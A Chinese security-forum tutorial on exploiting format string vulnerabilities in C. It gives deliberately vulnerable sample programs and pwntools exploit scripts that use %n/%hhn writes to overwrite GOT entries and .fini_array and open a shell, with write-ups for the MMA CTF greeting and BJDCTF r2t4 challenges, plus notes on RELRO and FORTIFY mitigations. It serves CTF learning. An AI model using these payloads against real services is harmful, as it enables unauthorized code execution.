安全矩阵

 找回密码
 立即注册
搜索
查看: 4884|回复: 0

格式化字符串漏洞及利用_萌新食用

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-6-10 22:16:28 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-6-10 22:17 编辑

原文链接:格式化字符串漏洞及利用_萌新食用

前言
格式化字符串漏洞 具有 任意地址读,任意地址写。

printf
printf --一个参数:情况1
  1. //gcc -g -m32 fmt.c -o fmt
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. int main()
  5. {
  6. printf("%p\n");
  7. return 0;
  8. }
复制代码

当参数 只有 1个字符串的话(含有%?),  //?  即 i, x, s 等等<br>第一个参数 作为 格式化字符串,而这个格式化字符串里含有解析 字符串的 %p ,它将第一个参数作为 格式化字符串,
第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %p 对应 栈中 0xffffd144 的内容,//它将栈中 0xffffd144 的内容 以带有0x 的16进制显示出来。(32位 程序传参方式 传到栈上,栈地址 0xffffd144 中的内容为 第二个参数)



printf --一个参数:情况2

  1. //gcc -g -m32 fmt.c -o fmt
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. int main()
  5. {
  6. printf("yangmutou!!!\n");
  7. return 0;
  8. }
复制代码
当参数 只有 1个字符串的话(不含有%?),在Linux中会 被转化为puts(arg)    //? 即 i, x, s 等等


printf --两个参数:
  1. //gcc -g -m32 fmt.c -o fmt
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. int main()
  5. {
  6. char a[12]="yangmutou!!!";
  7. printf("%s!!!\n",a);   


  8. return 0;
  9. }
复制代码

当两个参数 时,第一个参数作为 格式化字符串,
第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %s 对应 “yangmutou”



printf --三个参数:

  1. //gcc -g -m32 fmt.c -o fmt
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. int main()
  5. {
  6. char a[12]="yangmutou!!!";
  7. int b=20;
  8. printf("%s!!!\nage: %d\n",a,b);

  9. return 0;
  10. }
复制代码

当三个参数 时,第一个参数作为 格式化字符串,
第二个参数 作为 格式化字符串的参数表 中的第一个参数   即 %s 对应 “yangmutou”
第三个参数 作为 格式化字符串的参数表 中的第二个参数   即 %d 对应   20




任意地址 读
而这个函数是有漏洞的我们简单 看下面我写的例子

  1. //gcc -g -m32 fmt.c -o fmt
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. #include<unistd.h>
  5. int backdoor()
  6. {
  7. return system("/bin/sh\x00");
  8. }


  9. int main()
  10. {
  11. char buf[100];
  12.     read(0, &buf,100);
  13. printf(&buf);


  14. return 0;
  15. }
复制代码
我们可以控制 printf 的参数。我们输入 “aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p”到 0xffffd11c 栈地址处


可以看到 我们输入的这一整个字符串 作为了  格式化字符串,
aaaa后面的第一个 %p 被 格式化字符串的参数表 中的第一个参数(0xffffd100+0x4*1中的内容) 解析成“0x + 16进制”0xffffd11c     然后替换掉
aaaa后面的第二个 %p 被 格式化字符串的参数表 中的第二个参数(0xffffd100+0x4*2中的内容) 解析成“0x + 16进制” 0x64            然后替换掉
aaaa后面的第二个 %p 被 格式化字符串的参数表 中的第三个参数(0xffffd100+0x4*3中的内容) 解析成“0x + 16进制” 0x5655561e  然后替换掉
具体可以 看下面的 gdb 截图:


此时的栈:

另外 我们可以通过这种 方法  得到 ,第 7 个 %p 被替换成  0x61616161,即我们输入的 字符串 存到了 偏移 为 7 的 位置。这里的偏移  可以理解为 上面 的 “格式化字符串的参数表 中的第 x 个参数”另外  我们可以通过输入 %offset$p   直接输出 偏移为 7 处的内容(“0x + 16进制”)  试下 输出结果:
  1. $ ./fmt
  2. aaaa%7$p
  3. aaaa0x61616161
复制代码

我们可以观察下   栈地址 0xffffd11c+0x4*2 处中的地址是个   指向字符串的指针

我们可以输出结果:
  1. %9$s
  2. /home/yangmutou/桌面/fmt
复制代码
总结:即格式化漏洞的任意地址 读 其实仅需要 通过 “%偏移$格式输出” 便可以了,利用方式  很简单。这里主要 就是 要特别 注意一点,这里的偏移 是指的格式化 字符串的第几个参数,而不是说是printf 函数的第几个参数呐,因为 本来 格式化字符串   就是 printf 函数的第一个参数。两者 有 相差 1 的数学等式 关系。


任意地址 写
我们还看  上面我写的小例子。
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<string.h>
  4. #include<unistd.h>
  5. int backdoor()
  6. {
  7. return system("/bin/sh\x00");
  8. }


  9. int main()
  10. {
  11. char buf[100];
  12. memset(&buf,0,100);
  13.     read(0, &buf,100);
  14. printf(&buf);


  15. return 0;
  16. }
复制代码

因为 不存在栈溢出,但我们要 getshell又 需要将 返回地址 给覆盖成 backdoor 地址。即需要利用格式化字符串漏洞的  任意地址写。

首先:
bss_addr : 0804a028   //readelf -S fmt | grep bss  得到在格式化字符串 中 有一个 特殊的格式化控制符 “%n”,它可以将已经输出的字节个数写入到 指定的 的地址中一般使用方式:"\x28\xa0\x04\x08%7$n",就是 将 已经输出的字节个数 写入到 指定的地址0x0804a028 处(这里指定的地址处就是 偏移为7(格式化字符串的第7个参数) 的栈地址中的内容,即就是  我们写入的0x0804a024 指定地址)

payload 写成上面形式  理论上 是可以成功的,但我这次确失败了。于是就写脚本形式吧

  1. from pwn import *
  2. p=process("./fmt")


  3. bss_addr=0x0804a028
  4. offset=7
  5. payload=p32(bss_addr)+"%7$n"
  6. gdb.attach(p)
  7. p.sendline(payload)
  8. p.interactive()
复制代码

输入之前:



输入 之后 :


可以发现 4 被写入发 0x0804a024 中了   ,4即是p32(0x0804a024)的字节数。输出到屏幕上 的。
以上我们就算是演示下 任意写的 简单用法了。
而这题  我原本想的 是  将 backaddr 的地址写入 ret_addr,脚本如下:但失败了,因为想法  就是错的。

如果我们采用 下面exp 的方法  ,是向 ret_addr 所在栈地址中的 内容 作为指针 ,向这个 指针中 写入  0x80484b6 。而并不是 把 ret_addr 所在栈地址 作为指针,并不是向栈地址中写入 0x80484b6
  1. from pwn import *
  2. p=process("./fmt")


  3. bss_addr=0x0804a028
  4. offset=7
  5. payload=p32(bss_addr)+"%7$n"
  6. gdb.attach(p)
  7. p.sendline(payload)
  8. p.interactive()
复制代码
所以 ,换思路:我们 将printf_got 指针指向的 地址  改为  system_plt


  1. from pwn import *
  2. p=process("./fmt")
  3. elf=ELF("./fmt")
  4. offset=7
  5. printf_got=elf.got['printf']#0x0804a010
  6. system_plt=elf.plt['system']#0x08048360
  7. print "printf_got is "+hex(printf_got)
  8. print "system_plt is "+hex(system_plt)


  9. payload=p32(printf_got)+"%"+str(system_plt-4)+"c%7$n"# make printf_got -> system_plt
  10. gdb.attach(p)
  11. p.sendline(payload)

  12. p.interactive()
复制代码

可以看到  printf_got 指针指向的 地址  改为了  system_plt
所以,printf(&arg),就相当于 system(&arg)了,如果我们再发送 "/bin/sh\x00",作为arg 就能getshell了。但 程序只能运行一次。
为了学习。我们加上循环,重新编译。

  1. //gcc -g -m32 -fno-stack-protector -no-pie -o fmt fmt.c    为了调试方便,关闭canary 和pie 保护
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. #include<string.h>
  5. #include<unistd.h>
  6. int backdoor()
  7. {
  8. return system("/bin/sh\x00");
  9. }

  10. int main()
  11. {
  12. while(1)
  13.     {
  14. char buf[100];
  15. memset(&buf,0,100);
  16.         read(0, &buf,100);
  17. printf(&buf);
  18.     }

  19. return 0;
  20. }
复制代码
exp:
  1. from pwn import *
  2. p=process("./fmt")
  3. elf=ELF("./fmt")
  4. offset=7
  5. printf_got=elf.got['printf']#0x0804a010
  6. system_plt=elf.plt['system']#0x08048360
  7. print "printf_got is "+hex(printf_got)
  8. print "system_plt is "+hex(system_plt)

  9. payload=p32(printf_got)+"%"+str(system_plt-4)+"c%7$n"# make printf_got -> system_plt
  10. gdb.attach(p)
  11. p.sendline(payload)
  12. p.sendline("/bin/sh\x00")

  13. p.interactive()
复制代码

成功 getshell!



%n系列

当这样构造payload  在比赛或者是 实际 漏洞利用时,往往会不会成功。因为一次行传输这么大量的字节 会导致网络卡顿或者中断连接。
我们再来了解下”%n“ 格式化字符的扩展(称不上 其实,就称为一个系列吧)
%n  一次性写入4个字节
%hn  一次性写入2个字节
%hhn  一次性写入1个字节
这个"%n"系列的 作用就是 向 指定的地址中写入 已经输出的字节个数。用 "%偏移$n"("%偏移$hn","%偏移$hhn")  用偏移控制 指定地址。
我们稍微改造下 上面的exp:

  1. #coding:utf8
  2. from pwn import *
  3. p=process("./fmt")
  4. elf=ELF("./fmt")
  5. offset=7
  6. printf_got=elf.got['printf']#0x0804a010
  7. system_plt=elf.plt['system']#0x08048360
  8. print "printf_got is "+hex(printf_got)
  9. print "system_plt is "+hex(system_plt)

  10. #思路:向 printf_got 中 写入 system_plt
  11. # 我们把  printf_got 最低位字节 覆盖成 0x60  一字节 写入 %hhn
  12. # 我们把  printf_got 最低位字节+1字节 覆盖成 0x83  一字节 写入 %hhn
  13. # 我们把  printf_got 最低位字节+2字节 覆盖成 0x04  一字节 写入 %hhn
  14. # 我们把  printf_got 最低位字节+3字节 覆盖成 0x08  一字节 写入 %hhn

  15. payload=p32(printf_got)      #0x60          # 偏移  为 7
  16. payload+=p32(printf_got+1)   #0x83          # 偏移  为 8
  17. payload+=p32(printf_got+2)   #0x04          # 偏移  为 9
  18. payload+=p32(printf_got+3)   #0x08          # 偏移  为 10

  19. payload+="%"+str(0x60-0x4*4)+"c%7$hhn"        #0x60          # 偏移  为 7
  20. payload+="%"+str(0x83-0x60)+"c%8$hhn"         #0x83          # 偏移  为 8
  21. payload+="%"+str(0x104-0x83)+"c%9$hhn"        #0x04          # 偏移  为 9  #由于是hhn所以会被截断,只留后两位
  22. payload+="%"+str(0x8-0x4)+"c%10$hhn"          #0x08          # 偏移  为 10

  23. gdb.attach(p)
  24. p.sendline(payload)
  25. p.sendline("/bin/sh\x00")


  26. p.interactive()
复制代码

成功getshell!其实 有一点疑问的 明明  printf_got,system_plt 的地址 的搞两个字节 相同,但在这题中 如果不覆盖 会失败!




pwntools之Fmtstr

在 pwntools 提供给了 我们一个 很方便的 类 Fmtstr,用于构造 格式化任意写 的payload官方文档可见于:
  1. http://docs.pwntools.com/en/stable/fmtstr.html
复制代码
最常用 功能:
  1. fmtstr_payload(offset, {printf_got:system_plt})
复制代码
即第一个参数 为 输入的payload 的偏移,第二个参数 为一个 {} 组合,“:”前面是要覆盖地址里的内容 被覆盖为":"后面的内容。所以这题就可以这样构造:
  1. #coding:utf8
  2. from pwn import *
  3. p=process("./fmt")
  4. elf=ELF("./fmt")
  5. offset=7
  6. printf_got=elf.got['printf']#0x0804a010
  7. system_plt=elf.plt['system']#0x08048360
  8. print "printf_got is "+hex(printf_got)
  9. print "system_plt is "+hex(system_plt)
  10. payload = fmtstr_payload(offset, {printf_got:system_plt})
  11. p.sendline(payload)
  12. p.recv()
  13. p.sendline('/bin/sh\x00')
  14. p.interactive()
复制代码
而上面 是 32 位程序,我们现在来学下 看下更加主流的 64 位程序  是如何的。

  1. //gcc -g -fno-stack-protector -no-pie -o fmt fmt.c    为了调试方便,关闭canary 和pie 保护;  另外去掉 -m32 参数
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. #include<string.h>
  5. #include<unistd.h>
  6. int backdoor()
  7. {
  8. return system("/bin/sh\x00");
  9. }


  10. int main()
  11. {
  12. while(1)
  13.     {
  14. char buf[100];
  15. memset(&buf,0,100);
  16.         read(0, &buf,100);
  17. printf(&buf);
  18.     }


  19. return 0;
  20. }
复制代码
我门首先还是  查看 偏移:
  1. aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
复制代码
gdb 调试:


发现,我们的payload 存放在  栈顶了,偏移难道是 0 吗,当然并不是。
但我们都知道 64 位程序 传参的时候是 从左到右 依次放入 寄存器:rdi,rsi,rdx,rcx,r8,r9 ,当参数大于等于 7 的时候 后面参数会依次 从右向左 放入栈中!


即 栈顶 存放的我们输入的payload 是作为了 printf 函数的 第7个参数,格式化字符串的第6个参数。偏移即为 6.我们可以简单证明下:

我们知道了偏移,也可以得到  printf_got,printf_plt  那么看看是否 64位 也可以 用Fmtstr 一把梭 getshell!exp:
  1. #coding:utf8
  2. from pwn import *
  3. context(arch="amd64",os='linux',log_level="debug")

  4. p=process("./fmt_64")
  5. elf=ELF("./fmt_64")
  6. offset=6
  7. printf_got=elf.got['printf']
  8. system_plt=elf.plt['system']
  9. '''
  10. printf_got is 0x601020
  11. system_plt is 0x40049c
  12. '''
  13. print "printf_got is "+hex(printf_got)
  14. print "system_plt is "+hex(system_plt)

  15. #pause()
  16. payload = fmtstr_payload(offset, {printf_got:system_plt})
  17. gdb.attach(p)
  18. p.sendline(payload)
  19. p.recv()
  20. p.sendline('/bin/sh\x00')
  21. p.interactive()
复制代码
发现 并不能 这样 构造  我们可以看下 payload(以dubug 查看)


在 \x20\x10\x60后面的 是64位程序地址的高位 “\x00”但 “\x00”又会 是 字符串的结束符,相当于 截断了 payload。使payload 失去作用。于是 我们可以 调整payload,将 地址 放在 payload 的最后。由于地址中带有\x00,所以这回就不能用%hhn分段写了,因此我们的payload构造如下
  1. #coding:utf8
  2. from pwn import *
  3. context(arch="amd64",os='linux',log_level="debug")

  4. p=process("./fmt_64")
  5. elf=ELF("./fmt_64")
  6. offset=6
  7. printf_got=elf.got['printf']
  8. system_plt=elf.plt['system']
  9. '''
  10. printf_got is 0x601020
  11. system_plt is 0x40049c
  12. '''
  13. print "printf_got is "+hex(printf_got)
  14. print "system_plt is "+hex(system_plt)


  15. #pause()

  16. payload = "%"+str(system_plt)+"c%6$lln"+p64(printf_got)

  17. gdb.attach(p)
  18. p.sendline(payload)
  19. p.recv()
  20. p.sendline('/bin/sh\x00')
  21. p.interactive()
复制代码
gdb 查看下 是否对齐 和printf_got所在偏移




可以发现错位了 1字节 偏移为8 我们修正 下 payload,
  1. #coding:utf8
  2. from pwn import *
  3. context(arch="amd64",os='linux',log_level="debug")

  4. p=process("./fmt_64")
  5. elf=ELF("./fmt_64")
  6. offset=6
  7. printf_got=elf.got['printf']
  8. system_plt=elf.plt['system']
  9. '''
  10. printf_got is 0x601020
  11. system_plt is 0x40049c
  12. '''
  13. print "printf_got is "+hex(printf_got)
  14. print "system_plt is "+hex(system_plt)

  15. #pause()
  16. payload = "a"+"%"+str(system_plt-1)+"c%8$lln"+p64(printf_got)

  17. gdb.attach(p)
  18. p.sendline(payload)
  19. p.recv()
  20. p.sendline('/bin/sh\x00')
  21. p.interactive()
复制代码



getsehll  成功!!!
当我们程序只能运行 一次呢,我们要怎样 gadshell 呢。再无法 ROP的情况下,我们如何利用 格式化字符串 来使得程序重新 运行呢。这里有个 流程表,   
main函数作为程序入口,但编译成程序的时候入口其实是start代码段。(看下面图更利于理解)start代码段还会调用__libc_start_main来做一些初始化工作,最后调用main函数并在main函数结束后做一些处理。
在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。(以上两行内容  来自 网络)




所以 如果 程序 不存在循环,我们的思路一般是,把 printf_got 给改成 system_plt, 同时 把我们可以  将.fini.arrary 中的 第一个指针 给 覆盖成 start 地址,当 程序 结束后,调用  .fini.arrary的第一个指针,便将执行流 弄到 程序在开始处,即相当于重新 执行了一次程序,但  printf_got 已经 是 system_plt 了,我们 输入 "/bin/sh\x00"就可拿到 shell。
我看到 这里时,本试图自己写个小程序
  1. //gcc -g -fno-stack-protector -no-pie -o fmt_64_2 fmt.c
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. #include<string.h>
  5. #include<unistd.h>
  6. int backdoor()
  7. {
  8. return system("/bin/sh\x00");
  9. }

  10. int main()
  11. {
  12. char buf[100];
  13. memset(&buf,0,100);
  14.     read(0, &buf,100);
  15. printf(&buf);
  16. return 0;
  17. }
复制代码

正常 来想 我觉得  这样 是可以  getshell 的。
但因为 无法控制    .fini.arrary 所造内存的 RWX状态,没法 向  .fini.arrary 第一个指针里 写入  内容。 默认只可读。


但假设 它可写,没意外的话,以下 exp 是应该是 可以 getshell 的。
  1. #coding:utf8
  2. from pwn import *
  3. context(arch="amd64",os='linux',log_level="debug")


  4. p=process("./fmt_64")
  5. elf=ELF("./fmt_64")
  6. #offset=6
  7. printf_got=elf.got['printf']
  8. system_plt=elf.plt['system']


  9. backdoor=0x4005c7
  10. fini_array=0x600e18        #readelf -S fmt_64 | grep fini_array


  11. '''
  12. backdoor is 0x4005c7
  13. fini_array is 0x600e18
  14. '''
  15. print "backdoor is "+hex(backdoor)
  16. print "fini_array is "+hex(fini_array)
  17. #pause()


  18. payload = "a"+"%"+str(backdoor-1)+"c%8$lln"+p64(fini_array)


  19. #gdb.attach(p,"b main")
  20. p.sendline(payload)
  21. p.recv()
  22. p.interactive()
复制代码

不假设了,还是看真题吧!
MMA CTF 2nd 2016-greeting

即 32位 的elf  文件,开启了 canary
  1. $file greeting
  2. ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, not stripped

  3. $checksec greeting

  4. Arch:     i386-32-little
  5. RELRO:    No RELRO
  6. Stack:    Canary found
  7. NX:       NX enabled
  8. PIE:      No PIE (0x8048000)
复制代码
拖入 ida:看下程序 流程:程序大概就是我们输入等于64 个字符 到v5中,然后 将”Nice to meet you, “+我们输入的64个字符+ “\n” 复制到s中!
  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. char s; // [esp+1Ch] [ebp-84h]
  4. char v5; // [esp+5Ch] [ebp-44h]
  5. unsigned int v6; // [esp+9Ch] [ebp-4h]


  6.   v6 = __readgsdword(0x14u);
  7. printf("Please tell me your name... ");
  8. if ( !getnline(&v5, 64) )
  9. return puts("Don't ignore me ;( ");
  10. sprintf(&s, "Nice to meet you, %s :)\n", &v5);    //格式化字符串漏洞
  11. return printf(&s);
  12. //这里存在 很明显的  格式化字符串
  13. }

  14. size_t __cdecl getnline(char *s, int n)
  15. {
  16. char *v3; // [esp+1Ch] [ebp-Ch]
  17.   fgets(s, n, stdin);
  18.   v3 = strchr(s, 10);
  19. if ( v3 )
  20.     *v3 = 0;
  21. return strlen(s);
  22. }
复制代码

解题思路:
为了程序重新运行,我们将.fini_array数组的第一个元素为start地址
因为当执行过start地址后,.fini_array数组的第一个元素将不再是start地址,所以我们在将程序重新执行后,我们需要将执行过程中的一个函数的got地址改成system的plt地址,然后第二次就直接输入/bin/sh\x00 拿shell了
测偏移:12首先 输入
aaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..
  1. Hello, I'm nao!
  2. Please tell me your name... aaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..
  3. Nice to meet you, aaaa0x80487d0..0xffa5f54c..(nil)..(nil)..(nil)..(nil)..0x6563694e..0x206f7420..0x7465656d..0x756f7920..0x6161202c..0x70256161..0x70252e2e..0x70252e2e..0x70252e2e. :)
复制代码

发现 0x70256161 6161 是我们 的输入的a!显然没有对齐,我们在aaaa前面再加2a,于是我们发送
aaaaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

  1. Hello, I'm nao!
  2. Please tell me your name... aaaaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..
  3. Nice to meet you, aaaaaa0x80487d0..0xffb9e0bc..(nil)..(nil)..(nil)..(nil)..0x6563694e..0x206f7420..0x7465656d..0x756f7920..0x6161202c..0x61616161..0x2e2e7025..0x2e2e7025..% :)#
复制代码

发现是12偏移aaaaaa的后四个a 的偏移 是 12  对应于 下面exp 中payload 中的 p32(fini_array) 位置处
其中  exp 中  %hn  是以 两字节  写入。这里 之所以  payload 最开始 会 对 +18 感到 疑惑,其实 这是 因为   sprintf(&s, "Nice to meet you, %s \n", &v5);    //格式化字符串漏洞   首先 会输出  18 字节的 格式化字符串。

  1. #coding:utf8
  2. from pwn import *
  3. context.log_level = 'debug'
  4. conn=process('./greeting')
  5. elf=ELF('./greeting')
  6. fini_array=0x08049934         #readelf -S greeting
  7. start=0x080484f0          #   ida  看的更方便嘛!
  8. system_plt=0x8048490         
  9. strlen_got=elf.got['strlen']
  10. #print "strlen_got: "+hex(strlen_got)
  11. #print "system_plt: "+hex(system_plt)
  12. #print "fini_array: "+hex(fini_array)
  13. #print "start: "+hex(start)
  14. conn.recv()
  15. payload='aa'+p32(fini_array)+p32(strlen_got+2)  #18+2+4+4
  16. payload+=p32(strlen_got)+'%34000c%12$hn'        # +4+34000=0x84f0
  17. payload+='%33556c%13$hn'                     #0x84f0+33556=0x10804 截断=0x0804
  18. payload+='%31884c%14$hn'                     #0x10804+31884=0x18049 截断=0x8049
  19. conn.sendline(payload)  #此时已 一次性将 fini_array->start   strlen_got->system_plt
  20. conn.recv()                     #程序重新运行了,接受Please tell me your name...
  21. conn.sendline('/bin/sh\x00')
  22. conn.interactive()
复制代码

成功 getshell:


  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. char buf; // [rsp+0h] [rbp-30h]                       
  4. unsigned __int64 v5; // [rsp+28h] [rbp-8h]


  5.   v5 = __readfsqword(0x28u);
  6.   read(0, &buf, 0x38uLL);             //存在栈溢出 漏洞,但有canary 保护,虽然可通过任意地址写 可泄露canary,但程序只运行 一边。
  7. printf(&buf, &buf);
  8. return 0;
  9. }

  10. unsigned __int64 backdoor()
  11. {
  12. unsigned __int64 v0; // ST08_8


  13.   v0 = __readfsqword(0x28u);
  14.   system("cat flag");
  15. return __readfsqword(0x28u) ^ v0;
  16. }
复制代码

通过上面代码中的注释可知,栈溢出的方法  不可取, 因为程序开启了Canary   当函数返回的时候  会比较canary的 值 是否发生变化,如果不一致,就触发 __stack_chk_fail 函数。且程序中 含有后门函数。我们可通过格式化字符串写  将backdoor_addr写入  __stack_chk_fail_got 中脚本如下:


  1. #coding:utf8
  2. from pwn import *
  3. context(arch="amd64",os='linux',log_level="debug")

  4. p=process("./r2t4")
  5. p=remote("node3.buuoj.cn",26640)
  6. elf=ELF("./r2t4")
  7. offset=6
  8. __stack_chk_fail=elf.got['__stack_chk_fail']
  9. backdoor=0x400626

  10. '''
  11. __stack_chk_fail is 0x601018
  12. backdoor is 0x400626
  13. '''
  14. print "__stack_chk_fail is "+hex(__stack_chk_fail)
  15. print "backdoor is "+hex(backdoor)

  16. #pause()
  17. payload = "a"+"%"+str(backdoor-1)+"c%8$lln"+p64(__stack_chk_fail)#  0x30
  18. payload+=(0x30-8-len(payload))*'a'
  19. #gdb.attach(p,"b main")
  20. p.sendline(payload)
  21. #pause()
  22. p.recv()
  23. p.interactive()
复制代码
成功 getshell





然后 最后 我再 说下 这题吧!也是个  格式化字符串 任意写的 一个题型。


BJDCTF 2nd - Pwn_r2t4


这个程序 是 64位 并开启了  Canary保护的elf 文件,三天前比赛真题,还热乎着呢。
程序流程也很简单,输入什么 就输出 什么。当然这里是一个   很明显的 格式化字符串漏洞。并程序 只运行  一遍,且含有 后门函数。



最后最后简单 说下

和格式化字符串漏洞相关的漏洞缓解机制

们在checksec 程序的时候中 的RELRO 项:RELRO是重定位表只读(Relocation Read Only)的缩写,即plt 和got 表,
1、如果 这项的 内容 为  No RELRO的话  就代表  重定位表 不是仅可读的,我们在 漏洞利用的时候 可 优先考虑  修改某个函数的 got 表项,去达到 getshell 的目的。

2、如果  "其RELRO项为Partial RELRO 即该程序的重定位表项全部只读,无论是.got还是.got.plt都无法修改。改got表,程序不会报错,但是数据未被修改,

3、而如果 程序开启了Full RELRO保护之后,包括格式化字符串漏洞在内,试图通过漏洞劫持got表的行为都将会被阻止。

4、如果 是FORTIFY,这是一个由GCC实现的源码级别的保护机制,其功能是在编译的时候检查源码以避免潜在的缓冲区溢出等错误。简单地说,加了这个保护之后(编译时加上参数-D_FORTIFY_SOURCE=2)一些敏感函数如read, fgets, memcpy, printf等等可能导致漏洞出现的函数都会被替换成read_chk, fgets_chk, memcpy_chk,printf_chk等。这些带了chk的函数会检查读取/复制的字节长度是否超过缓冲区长度,通过检查·诸如%n之类的字符串位置是否位于可能被用户修改的可写地址,避免了格式化字符串跳过某些参数(如直接%7$x)等方式来避免漏洞出现。开启了FORTIFY保护的程序会被checksec检出,此外,在反汇编时直接查看got表也会发现chk函数的存在

其实 ,不得说下 我对最后一个 FORTIFY ,还没怎么接触到。经验太少!




格式化(字符串)溢出实验
http://hetianlab.com/expc.do?ec=2a2450e9-563e-4d99-b0ab-089d65ba7d4d
(通过本实验,理解格式化字符串漏洞,并对其进行利用)













回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 02:29 , Processed in 0.016170 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表